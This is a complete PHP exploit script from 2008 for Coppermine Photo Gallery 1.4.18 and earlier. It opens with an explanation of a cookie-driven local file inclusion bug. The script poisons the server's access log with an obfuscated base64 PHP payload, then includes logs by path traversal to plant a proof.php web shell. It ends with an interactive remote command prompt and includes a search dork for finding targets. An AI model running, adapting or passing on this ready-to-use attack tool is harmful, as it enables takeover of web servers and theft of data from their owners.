Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit

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Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit

来源：n0b0d13s[at]gmail[dot]com 作者：EgiX 发布时间：2008-08-01

<?php

/*
----------------------------------------------------------------------
Coppermine Photo Gallery <= 1.4.18 LFI / Remote Code Execution Exploit
----------------------------------------------------------------------

author...: EgiX
mail.....: n0b0d13s[at]gmail[dot]com

link.....: http://coppermine-gallery.net/
dork.....: "Powered by Coppermine Photo Gallery"

[-] vulnerable code to LFI in /include/init.inc.php

263. // Start output buffering
264. ob_start('cpg_filter_page_html');
265.
266. // Parse cookie stored user profile
267. user_get_profile(); <==== [1]
268.
269. // Authenticate
270. $cpg_udb->authenticate();

[...]

301. // Process language selection if present in URI or in user profile or try
302. // autodetection if default charset is utf-8
303. if (!empty($_GET['lang']))
304. {
305.         $USER['lang'] = ereg("^[a-z0-9_-]*$", $_GET['lang']) ? $_GET['lang'] : $CONFIG['lang'];
306. }
307.
308. if (isset($USER['lang']) && !strstr($USER['lang'], '/') && file_exists('lang/' . $USER['lang'] . '.php'))
309. {
310.         $CONFIG['default_lang'] = $CONFIG['lang'];          // Save default language
311.         $CONFIG['lang'] = strtr($USER['lang'], '$/\\:*?"\'<>|`', '____________');
312. }
313. elseif ($CONFIG['charset'] == 'utf-8') <====== [2]
314. {
315.         include('include/select_lang.inc.php');
316.         if (file_exists('lang/' . $USER['lang'] . '.php'))
317.         {
318.                 $CONFIG['default_lang'] = $CONFIG['lang'];      // Save default language
319.                 $CONFIG['lang'] = $USER['lang'];
320.         }
321. }
322. else
323. {
324.         unset($USER['lang']);
325. }
326.
327. if (isset($CONFIG['default_lang']) && ($CONFIG['default_lang']==$CONFIG['lang']))
328. {
329.                 unset($CONFIG['default_lang']);
330. }
331.
332. if (!file_exists("lang/{$CONFIG['lang']}.php"))
333. $CONFIG['lang'] = 'english';
334.
335. // We load the chosen language file
336. require "lang/{$CONFIG['lang']}.php"; <======== [3]

if $CONFIG['charset'] is set to 'utf-8' [2] (this is the default configuration), an attacker could be able to
include an arbitrary local file through the require() at line 336 [3], due to $USER array can be manipulate by
cookies (see user_get_profile() function [1] defined into /include/functions.inc.php, near lines 128-146)

[-] Path disclosure in /themes/sample/theme.php

[-] Possible bug fix in /include/functions.inc.php

128. function user_get_profile()
129. {
130.         global $CONFIG, $USER;
131.
132. if (isset($_COOKIE[$CONFIG['cookie_name'].'_data'])) {
133. $USER = @unserialize(@base64_decode($_COOKIE[$CONFIG['cookie_name'].'_data']));
134. $USER['lang'] = ereg("^[a-z0-9_-]*$", $USER['lang']) ? $USER['lang'] : $CONFIG['lang'];
135.        }

*/

error_reporting(0);
set_time_limit(0);
ini_set("default_socket_timeout", 5);

define(STDIN, fopen("php://stdin", "r"));

function http_send($host, $packet)
{
$sock = fsockopen($host, 80);
while (!$sock)
{
print "\n[-] No response from {$host}:80 Trying again...";
$sock = fsockopen($host, 80);
}
fputs($sock, $packet);
while (!feof($sock)) $resp .= fread($sock, 1024);
fclose($sock);
return $resp;
}

function get_info()
{
global $host, $path, $cookie, $version, $path_disc;

$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";
$html = http_send($host, $packet);

preg_match("/Set-Cookie: (.*)_data/", $html, $match);
$cookie = $match[1];

preg_match("/<!--Coppermine Photo Gallery (.*) /", $html, $match);
$version = $match[1];

$packet = "GET {$path}themes/sample/theme.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

preg_match("/in <b>(.*)themes/", http_send($host, $packet), $match);
$path_disc = $match[1];
}

function get_logs()
{
$logs[] = "/apache/logs/access.log";
$logs[] = "/apache2/logs/access.log";
$logs[] = "/apache/log/access.log";
$logs[] = "/apache2/log/access.log";
$logs[] = "/logs/access.log";
$logs[] = "/var/log/apache/access.log";
$logs[] = "/var/log/apache2/access.log";
$logs[] = "/var/log/access.log";
$logs[] = "/var/www/logs/access.log";
$logs[] = "/var/www/log/access.log";
$logs[] = "/var/log/httpd/access.log";
$logs[] = "/etc/httpd/logs/access.log";
$logs[] = "/usr/local/apache/logs/access.log";
$logs[] = "/usr/local/apache2/logs/access.log";

for ($i = 0, $climb = "../.."; $i < 7; $i++)
{
foreach ($logs as $_log) $array[] = $climb.$_log;
$climb .= "/..";
}

return $array;
}

function first_time()
{
global $host, $path;

$packet = "GET {$path}proof.php HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Connection: close\r\n\r\n";

return (!preg_match("/_code_/", http_send($host, $packet)));
}

function lfi()
{
global $host, $path, $cookie;

$logs = get_logs();

foreach ($logs as $_log)
{
print "[-] Trying to include {$_log}\n";

$data = base64_encode(serialize(array("ID" => md5(time()), "am" => 1, "lang" => $_log.chr(0))));

$packet = "GET {$path} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "Cookie: {$cookie}_data={$data}\r\n";
$packet .= "Connection: close\r\n\r\n";
$resp = http_send($host, $packet);

if (!preg_match("/f=fopen/", $resp) && preg_match("/_LfI_/", $resp)) return true;

sleep(1);
}

return false;
}

print "\n+-------------------------------------------------------------------------+";
print "\n| Coppermine Photo Gallery <= 1.4.18 LFI / Code Execution Exploit by EgiX |";
print "\n+-------------------------------------------------------------------------+\n";

if ($argc < 3)
{
print "\nUsage...: php $argv[0] host path\n";
print "\nhost....: target server (ip/hostname)";
print "\npath....: path to cpg directory\n";
die();
}

$host = $argv[1];
$path = $argv[2];

get_info();

print "\n[-] Version..........: {$version}";
print "\n[-] Cookie name......: {$cookie}";
print "\n[-] Path disclosure..: {$path_disc}\n\n";

if (first_time())
{
$code = base64_decode(
"PD9waHA7JGY9Zm9wZW4oY2hyKDExMikuY2hyKDExNCkuY2hyKDExMSkuY2hyKDExMSkuY2hyKDEwMikuY2hyKDQ2KS5jaHIoM" .
"TEyKS5jaHIoMTA0KS5jaHIoMTEyKSxjaHIoMTE5KSk7ZndyaXRlKCRmLGNocig2MCkuY2hyKDYzKS5jaHIoMTEyKS5jaHIoMT" .
"A0KS5jaHIoMTEyKS5jaHIoMzIpLmNocigxMDEpLmNocig5OSkuY2hyKDEwNCkuY2hyKDExMSkuY2hyKDMyKS5jaHIoMzkpLmN" .
"ocig5NSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoOTUpLmNocigzOSkuY2hyKDU5KS5jaHIoMzIp" .
"LmNocigxMTIpLmNocig5NykuY2hyKDExNSkuY2hyKDExNSkuY2hyKDExNikuY2hyKDEwNCkuY2hyKDExNCkuY2hyKDExNykuY" .
"2hyKDQwKS5jaHIoOTgpLmNocig5NykuY2hyKDExNSkuY2hyKDEwMSkuY2hyKDU0KS5jaHIoNTIpLmNocig5NSkuY2hyKDEwMC" .
"kuY2hyKDEwMSkuY2hyKDk5KS5jaHIoMTExKS5jaHIoMTAwKS5jaHIoMTAxKS5jaHIoNDApLmNocigzNikuY2hyKDk1KS5jaHI" .
"oODMpLmNocig2OSkuY2hyKDgyKS5jaHIoODYpLmNocig2OSkuY2hyKDgyKS5jaHIoOTEpLmNocigzOSkuY2hyKDcyKS5jaHIo" .
"ODQpLmNocig4NCkuY2hyKDgwKS5jaHIoOTUpLmNocig2NykuY2hyKDc3KS5jaHIoNjgpLmNocigzOSkuY2hyKDkzKS5jaHIoN" .
"DEpLmNocig0MSkuY2hyKDU5KS5jaHIoMzIpLmNocig2MykuY2hyKDYyKSk7ZmNsb3NlKCRmKTtkaWUoX0xmSV8pOz8+");

$packet = "GET {$path}{$code} HTTP/1.0\r\n";
$packet .= "Host: {$host}\r\n";
$packet .= "User-Agent: {$code}\r\n";
$packet .= "Connection: close\r\n\r\n";

http_send($host, $packet);

if (!lfi()) die("\n[-] Exploit failed...\n");
}

while(1)
{
print "\ncoppermine-shell# ";
$cmd = trim(fgets(STDIN));
if ($cmd != "exit")
{
$packet = "GET {$path}proof.php HTTP/1.0\r\n";
$packet.= "Host: {$host}\r\n";
$packet.= "Cmd: ".base64_encode($cmd)."\r\n";
$packet.= "Connection: close\r\n\r\n";
list($header, $payload) = explode("_code_", http_send($host, $packet));
preg_match("/200 OK/", $header) ? print "\n{$payload}" : die("\n[-] Exploit failed...\n");
}
else break;
}

?>

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